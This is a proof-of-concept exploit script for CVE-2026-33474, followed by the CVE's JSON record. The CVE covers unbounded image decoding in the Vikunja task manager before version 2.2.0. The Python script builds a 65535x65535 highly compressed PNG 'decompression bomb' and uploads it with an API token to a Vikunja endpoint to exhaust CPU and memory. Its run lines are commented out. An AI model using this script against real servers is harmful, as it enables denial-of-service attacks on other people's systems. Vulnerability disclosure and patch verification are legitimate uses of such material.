CVE-2026-33474

import os import requests from PIL import Image # Create a malicious 'decompression bomb' image # This creates a small file size but huge pixel dimensions def create_malicious_image(filename="poc_exploit.png"): width = 65535 height = 65535 img = Image.new('RGB', (width, height), color='red') # Save with high compression to keep file size small img.save(filename, 'PNG', optimize=True) print(f"[+] Malicious image created: {filename}") print(f"[+] Dimensions: {width}x{height}") print(f"[+] File size: {os.path.getsize(filename)} bytes") return filename def upload_exploit(url, token, filename): headers = { "Authorization": f"Bearer {token}" } files = { 'file': (filename, open(filename, 'rb'), 'image/png') } # Endpoint might vary based on Vikunja API structure upload_url = f"{url}/api/v1/tasks" try: print(f"[*] Uploading to {upload_url}...") response = requests.post(upload_url, headers=headers, files=files) print(f"[+] Server response status: {response.status_code}") except Exception as e: print(f"[-] Upload failed: {e}") if __name__ == "__main__": # Usage: python poc.py <target_url> <api_token> # target_url = "http://localhost:3456" # api_token = "your_api_token_here" # file_name = create_malicious_image() # upload_exploit(target_url, api_token, file_name) pass

{"cve": {"id": "CVE-2026-33474", "sourceIdentifier": "[email protected]", "published": "2026-03-24T16:16:33.863", "lastModified": "2026-03-27T16:47:45.293", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Starting in version 1.0.0-rc0 and prior to version 2.2.0, unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. Version 2.2.0 patches the issue."}, {"lang": "es", "value": "Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. A partir de la versión 1.0.0-rc0 y anterior a la versión 2.2.0, la decodificación y el redimensionamiento ilimitados de imágenes durante la generación de previsualizaciones permiten a un atacante agotar la CPU y la memoria con imágenes altamente comprimidas pero de dimensiones extremadamente grandes. La versión 2.2.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.2.0", "matchCriteriaId": "E116DBC4-C051-4E5D-9ADD-537A7132C725"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wc83-79hj-hpmq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released", "source": "[email protected]", "tags": ["Release Notes"]}]}}